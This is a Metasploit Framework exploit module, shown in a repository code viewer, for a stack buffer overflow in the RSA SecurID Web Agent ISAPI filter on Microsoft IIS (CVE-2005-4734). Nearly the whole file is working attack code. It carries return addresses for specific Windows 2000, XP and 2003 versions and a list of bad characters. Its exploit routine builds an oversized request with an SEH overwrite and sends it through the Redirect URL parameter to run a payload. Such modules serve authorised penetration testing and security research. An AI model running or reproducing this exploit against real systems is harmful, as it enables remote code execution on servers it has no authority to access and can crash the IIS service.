root / modules / exploits / windows / isapi / rsa_webagent_redirect.rb @ master
History | View | Annotate | Download (3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = GoodRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::HttpClient |
| 20 |
include Msf::Exploit::Remote::Seh |
| 21 |
|
| 22 |
def initialize(info = {}) |
| 23 |
super(update_info(info,
|
| 24 |
'Name' => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow', |
| 25 |
'Description' => %q{ |
| 26 |
This module exploits a stack buffer overflow in the SecurID Web |
| 27 |
Agent for IIS. This ISAPI filter runs in-process with |
| 28 |
inetinfo.exe, any attempt to exploit this flaw will result |
| 29 |
in the termination and potential restart of the IIS service. |
| 30 |
|
| 31 |
},
|
| 32 |
'Author' => [ 'hdm' ], |
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
['CVE', '2005-4734'], |
| 38 |
['OSVDB', '20151'], |
| 39 |
], |
| 40 |
'Privileged' => false, |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 1024, |
| 44 |
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f" + |
| 45 |
(0x3a..0x3f).to_a.pack('C*') + "\x40\x5c" + "Zz", |
| 46 |
'StackAdjustment' => -3500, |
| 47 |
}, |
| 48 |
'Platform' => 'win', |
| 49 |
'Targets' =>
|
| 50 |
[ |
| 51 |
# Version-specific return addresses
|
| 52 |
['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }], |
| 53 |
['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }], |
| 54 |
|
| 55 |
# Generic return addresses
|
| 56 |
['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }], |
| 57 |
['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }], |
| 58 |
|
| 59 |
['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }], |
| 60 |
['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }], |
| 61 |
|
| 62 |
['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }], |
| 63 |
['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }], |
| 64 |
|
| 65 |
['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }], |
| 66 |
['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }], |
| 67 |
], |
| 68 |
'DefaultTarget' => 0, |
| 69 |
'DisclosureDate' => 'Oct 21 2005')) |
| 70 |
|
| 71 |
register_options( |
| 72 |
[ |
| 73 |
OptString.new('URL', [ true, "The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]), |
| 74 |
], self.class)
|
| 75 |
end
|
| 76 |
|
| 77 |
def check |
| 78 |
r = send_request_raw({
|
| 79 |
'uri' => datastore['URL'], |
| 80 |
'query' => 'GetPic?image=msf' |
| 81 |
}, -1)
|
| 82 |
|
| 83 |
if (r and r.body and r.body =~ /RSA Web Access Authentication/) |
| 84 |
return Exploit::CheckCode::Detected |
| 85 |
end
|
| 86 |
return Exploit::CheckCode::Safe |
| 87 |
end
|
| 88 |
|
| 89 |
def exploit |
| 90 |
|
| 91 |
pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK |
| 92 |
seh = generate_seh_payload(target['Rets'][1]) |
| 93 |
pat[target['Rets'][0]-4, seh.length] = seh |
| 94 |
|
| 95 |
r = send_request_raw({
|
| 96 |
'uri' => datastore['URL'], |
| 97 |
'query' => 'Redirect?url=' + pat |
| 98 |
}, 5)
|
| 99 |
|
| 100 |
handler |
| 101 |
disconnect |
| 102 |
end
|
| 103 |
|
| 104 |
end
|